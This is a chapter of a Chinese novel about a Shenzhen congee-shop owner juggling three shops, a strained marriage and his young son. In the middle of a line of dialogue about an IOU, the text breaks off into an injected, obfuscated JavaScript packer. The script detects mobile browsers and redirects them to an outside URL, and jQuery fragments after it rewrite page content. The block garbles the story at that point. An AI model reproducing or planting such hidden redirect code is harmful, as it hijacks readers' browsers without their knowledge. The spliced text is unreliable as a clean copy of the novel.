陈永福还是去参加了家长会。周三下午，罗湖小学的教室坐满了家长。黑板报上写着“家校合作，共育未来”，粉笔字工工整整。□□坐在最后一排，看见父亲来了，眼睛亮了一下，又赶紧低下头。
班主任是个年轻女老师，姓孙，戴眼镜，说话轻声细语。她讲了半个钟头，主要是学习纪律、卫生习惯这些。陈永福认真听着，虽然很多词听不懂，但知道是重要的事。
散会后，孙老师叫住他：“□□爸爸，留一下。”
陈永福心里咯噔一下。留下单独谈，通常不是好事。
其他家长陆续走了，教室里只剩他们俩。孙老师翻开一个本子：“□□最近上课老走神，作业也马虎。我问他，他说爸爸忙，晚上很晚才回家。”
陈永福脸红了：“老师，我……”
“我知道你们做生意辛苦。”孙老师合上本子，“但孩子二年级是关键期，习惯养不好，以后难改。您能不能多花点时间陪陪他？”
“能，一定能。”陈永福连忙说。
“那就好。”孙老师语气缓和了些，“□□本质不坏，就是缺关注。您多跟他说说话，检查检查作业，他会好的。”
“谢谢老师，我一定注意。”
走出教室，□□在走廊等着。孩子低着头，脚在地上蹭。
“阿爸，老师说什么了？”
“说你要好好学习。”陈永福摸摸他的头，“走，回家。”
路上，陈永福问：“作业多吗？”
“不多。”
“做完要给我看。”
□□点点头，过了一会儿小声说：“阿爸，我们班王小军他爸每天都接他放学。”
陈永福喉咙发紧。他几乎没接过儿子放学，都是林玉兰或者孩子自己走回去。
“以后阿爸有空就去接你。”
“真的？”
“真的。”
回到家，林玉兰正在择菜。听说家长会的事，她叹了口气：“是该多管管孩子了。你整天忙，我也忙，建国跟孤儿似的。”
这话刺人，但陈永福没反驳。她说得对。
晚上，他第一次认真检查儿子的作业。语文造句，“一边……一边……”□□写：“爸爸一边熬粥一边咳嗽。”
陈永福看着这句话，心里不是滋味。
“写得好。”他说，“但阿爸以后不咳嗽了。”
福田店的装修收尾了。陈永福这次不敢太拼，每天只去看一趟，其他时间让王建军跑。王建军学东西快，现在罗湖档口的事基本能管起来。
四月底，招工完成。福田店要四个员工：一个厨师，两个服务员，一个收银兼杂工。厨师是从广州请的，姓余，四十五岁，在酒楼干过二十年，会做广式粥。工资要六十，陈永福咬牙答应了。
服务员是两姐妹，潮汕老乡，一个十九，一个十七。收银的是个本地女孩，高中毕业，说一口流利的普通话。
培训开始了。这次陈永福轻松些，有余师傅在，粥的味道他放心。主要是教流程，教服务标准。
余师傅确实有本事，熬的粥绵滑细腻，米粒完全化开，跟陈永福的风格不同，但也好喝。陈永福尝了，点点头：“余师傅，以后福田店就靠你了。”
“陈老板放心，我做事认真。”
开业定在五月八号，立夏之后。郑文达说要搞大点，请了舞狮队，还联系了报社记者。
陈永福觉得太招摇，但郑文达说：“宣传要到位，钱不能省。”
开业那天，华强北人山人海。舞狮队敲锣打鼓，吸引了一大群人围观。记者拍照，问问题。郑文达穿着西装讲话，说这是深港合作的成功范例。
陈永福站在旁边，不太适应。闪光灯太亮，人声太吵。他只关心锅里的粥会不会糊。
仪式结束，客人涌进来。福田店比南山店大，装修也更讲究，白墙瓷砖，日光灯明亮。客人有附近上班的白领，有电子市场的商户，也有看热闹的路人。
余师傅在后厨掌勺，两个潮汕姐妹前厅招呼，本地女孩收银。一切井井有条。
陈永福看着，心里踏实了些。他开始相信，也许真能做好。
中午高峰期过去，盘点。卖了三百五十碗，收入八十多块。比南山店开业时还好。
郑文达很高兴：“陈老板，照这个势头，福田店一个月能赚一千五。”
“希望吧。”
但问题很快就来了。
福田店的客人跟南山不一样。电子市场的商户有钱，要求高。有人嫌粥太淡，要加盐。有人嫌服务员动作慢，等不及。还有人说海鲜不新鲜，要退钱。
收银的女孩应付不来，急得直哭。潮汕姐妹普通话不标准，跟客人沟通有障碍。只有余师傅稳得住，该熬粥熬粥，该加料加料。
陈永福连续三天蹲在福田店，现场解决问题。他教会收银女孩怎么应对投诉，教潮汕姐妹多说“请”“谢谢”“不好意思”。自己也站在柜台前，跟客人解释。
“师傅，您觉得淡，可以加这个酱油，我们自己调的。”
“大姐，实在不好意思，今天人多，让您久等了，这碗粥我请。”
三天下来，嗓子又哑了。
郑文达从香港打电话来问情况，陈永福说：“还行，在调整。”
“需要帮忙就说。”
“暂时不用。”
挂了电话，陈永福想，帮忙？能帮什么？生意的事，最后还是得自己扛。
五月中旬，深圳突然热起来。气温一下子窜到三十度，商场里空调修好了，但粥铺的灶台前还是像蒸笼。
陈永福又瘦了。原本就精瘦，现在更显形，颧骨凸出来，眼窝陷进去。林玉兰炖了鸡汤逼他喝，他喝两口就放下：“饱了。”
“再喝点，你看你都成什么样了。”
“真饱了。”
林玉兰把碗一放：“陈永福，你要是不想过了，就直说。”
这话重了。陈永福抬头看她，妻子眼里有泪光。
“我不是……”
“你不是什么？你心里只有你的店，你的生意。我和建国算什么？”
“我赚钱不就是为了你们吗？”
“我们要的不是钱，是人！”林玉兰声音发抖，“我要的是丈夫，建国要的是父亲。你现在整天不见人影，回来了也累得话都不说。这叫什么家？”
陈永福说不出话。他知道妻子说得对，可他能怎么办？三间店，几十个员工，郑文达的投资，都压在他肩上。他停不下来。
“等福田店稳了，我就轻松了。”他只能这样说。
“稳了？南山稳了吗？罗湖稳了吗？你永远有理由。”
林玉兰转身进了卧室，关上门。□□从自己房间探出头，又缩回去。
陈永福坐在客厅里，灯没开。窗外万家灯火，每盏灯下都有一个家。他的家，灯亮着，人却在吵架。
他点了支烟，慢慢抽。烟是“红双喜”，比“大前门”贵一点，但郑文达说谈生意要抽好烟。其实他抽不出区别。
一支烟抽完，他起身去敲卧室门。
“玉兰。”
没回应。
“玉兰，我错了。”
还是没声音。
他靠在门上，轻声说：“我知道我做得不好。可你知道吗，我每天一睁眼，就要想今天要进多少米，多少肉，要付多少租金，多少工资。我怕店里出事，怕员工走人，怕郑先生撤资。我怕我又变回一年前那个什么都没有的陈永福。”
门开了。林玉兰站在门里，脸上有泪痕。
“你怕，我就不怕吗？”她声音哽咽，“我怕你累垮，怕你病倒，怕建国没有爸爸。钱没了可以再赚，人没了怎么办？”
陈永福抱住她：“不会的，我不会有事。”
“你保证？”
“我保证。”
这个保证很无力，但林玉兰接受了。生活就是这样，明知保证不一定有用，但还需要一个保证。
第二天，陈永福送□□上学。路上，孩子问：“阿爸，你和阿妈吵架了？”
“没有，就是说话大声了点。”
“哦。”□□踢着路上的石子，“王小军他爸妈也吵架，后来他爸搬出去了。”
陈永福心里一紧：“阿爸不会搬出去。”
“真的？”
“真的。”
送到学校门口，□□忽然说：“阿爸，你以后能不能早点回家？我想你陪我写作业。”
“好，阿爸尽量。”
看着儿子跑进校门的小小背影，陈永福鼻子发酸。他是不是真的忽略了太多？
福田店运营一个月，报表出来了。收入两千四，成本一千五，净赚九百。比预期少，但还在增长。
郑文达没说什么，只说继续努力。但陈永福知道，这个数字不够好。郑文达投五万块，不是为了让三家店一个月赚两千块。
他得想办法。
六月初，何老板提了个建议：“陈老板，你们三家店，可以统一采购，降低成本。”
“怎么统一？”
“米、肉、海鲜，这些大宗食材，三家店一起买，量大价优。我认识几个批发商，可以介绍。”
陈永福觉得可行。他现在是三家店分开采购，每个店自己去市场买，价格高，还费人工。
他约了批发商谈。米批发价一斤便宜两分，肉便宜五分，海鲜便宜一毛。算下来，一个月能省两百多块。
但批发要现款，一次买一个月的量。三家店加起来，要垫付三千块。
陈永福手头没那么多现金。郑文达的投资款还剩一些，但那是用于经营的，不能动。他想了半天，去找周淑芬。
周淑芬现在在小学代课，一个月工资八十块。听说陈永福要借钱，她二话不说，把存折拿出来了。
“陈老板，这里面有两千块，是我这半年攒的。你先用。”
“周老师，这……”
“别说了，当年要不是你，我和小军还不知道怎么样呢。”周淑芬把存折塞给他，“什么时候有了再还。”
陈永福接过存折，手有点抖：“谢谢，我打借条。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380743|200163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“不用借条，我信你。”
拿着周淑芬的两千块，加上自己的一千，陈永福开始了统一采购。他在罗湖租了个小仓库，存放米和干货。每天早晨，王建军骑三轮车给三家店配送。
麻烦是麻烦，但确实省了钱。第一个月，成本降了二百三。
郑文达知道后，专门打电话来表扬：“陈老板，有头脑。做生意就是要这样，精打细算。”
陈永福笑笑，没说话。这哪是什么头脑，是被逼的。
六月中的一天，南山店出事了。
黄秀英打电话来，声音急：“老板，杨师傅不干了，要回四川。”
“为什么？”
“他说家里老人生病，要他回去。今天早上说的，现在就要走。”
陈永福头大了。杨师傅是南山店的主厨，他走了，店怎么办？
“你稳住他，我马上过来。”
他坐出租车去南山，花了五块钱。平时舍不得，今天顾不上了。
到店里，杨师傅已经收拾好东西，坐在后厨抽烟。黄秀英在旁边劝，没用。
“杨师傅，家里出什么事了？”陈永福问。
“我娘病了，要人照顾。”杨师傅低着头，“陈老板，对不住，我得回去。”
“病得重吗？”
“中风，瘫了。”
陈永福沉默了一会儿。百善孝为先，这个理由，他没法拦。
“工资结了吗？”
“结了。”
“我再给你拿一百块路费。”陈永福从钱包里掏钱，“回去好好照顾老人，代我问个好。”
杨师傅愣住了：“陈老板，这……”
“拿着，出门在外不容易。”
杨师傅接过钱，眼睛红了：“陈老板，你是个好人。等我娘好点了，我还回来。”
“好，我等你。”
送走杨师傅，问题来了：南山店没厨师了。黄秀英会熬粥，但只能熬基础的。海鲜粥、皮蛋粥这些复杂的，她做不好。
“老板，怎么办？”黄秀英问。
陈永福想了想：“我先在这儿顶几天，你赶紧招人。”
“招人不好招，好厨师都要价高。”
“高也得招。”
陈永福在南山店住了下来。早上四点起床熬粥，中午高峰期掌勺，下午教黄秀英，晚上盘点。一连五天，累得腰都直不起来。
林玉兰打电话来：“你还回不回家了？”
“南山店厨师走了，我得在这儿顶几天。”
“几天是几天？”
“招到人就回去。”
“陈永福，你是不是忘了你还有个家？”
电话挂了。陈永福握着听筒，听着忙音，心里空落落的。
第六天，终于招到一个厨师。是个湖南人，姓刘，在酒楼做过，要价五十五。陈永福答应了。
教了三天，刘师傅上手了。陈永福才回罗湖。
到家是晚上十点。林玉兰已经睡了，□□也睡了。桌上留着饭菜，用纱罩罩着。
他热了饭，坐在厨房里吃。饭菜凉了再热，味道变了，但他吃得很香。这是家的味道。
吃完饭，他轻手轻脚进卧室。林玉兰背对着他，没动。但他知道她没睡着。
“玉兰。”
没回应。
“南山店厨师招到了，我以后不用常去了。”
还是没声音。
他躺下，从背后轻轻抱住她：“对不起，又让你担心了。”
林玉兰肩膀动了动，转过身来。月光从窗户照进来，照在她脸上，有泪痕。
“陈永福，我嫁给你十年了。在老家时穷，但踏实。来深圳后，钱多了，心却空了。我不知道这是不是我要的日子。”
陈永福说不出话。他也不知道。他只知道，开弓没有回头箭，他回不去了。
“睡吧。”他只能说。
林玉兰闭上眼睛，但陈永福知道，她没睡着。
他自己也睡不着。脑子里全是事：南山店新厨师能不能稳住，福田店客诉多的问题怎么解决，罗湖店王建军管不管得住，还有郑文达那边，下个月要看报表……
越想越清醒，越清醒越睡不着。
窗外有猫叫，有车声，有这座城市永不眠的声音。
陈永福想起老家夏夜的蛙鸣，一阵一阵的，像催眠曲。那时候虽然穷，但睡得踏实。
现在，他躺在柔软的席梦思上，却像躺在钉板上。
他轻轻起身，走到阳台上。点支烟，看着这座城市的灯火。
远处，福田店所在的方向，一片明亮。南山店那边，也能看见几点光。罗湖店就在楼下，已经打烊了。
三家店，像三个孩子，都需要他养。
他不知道能养多久，但知道必须养下去。
烟抽完了，他回屋。林玉兰呼吸均匀，这次真睡着了。
他躺下，闭上眼睛。明天还要早起熬粥。
睡吧，能睡几个小时是几个小时。
日子还得过，粥还得熬。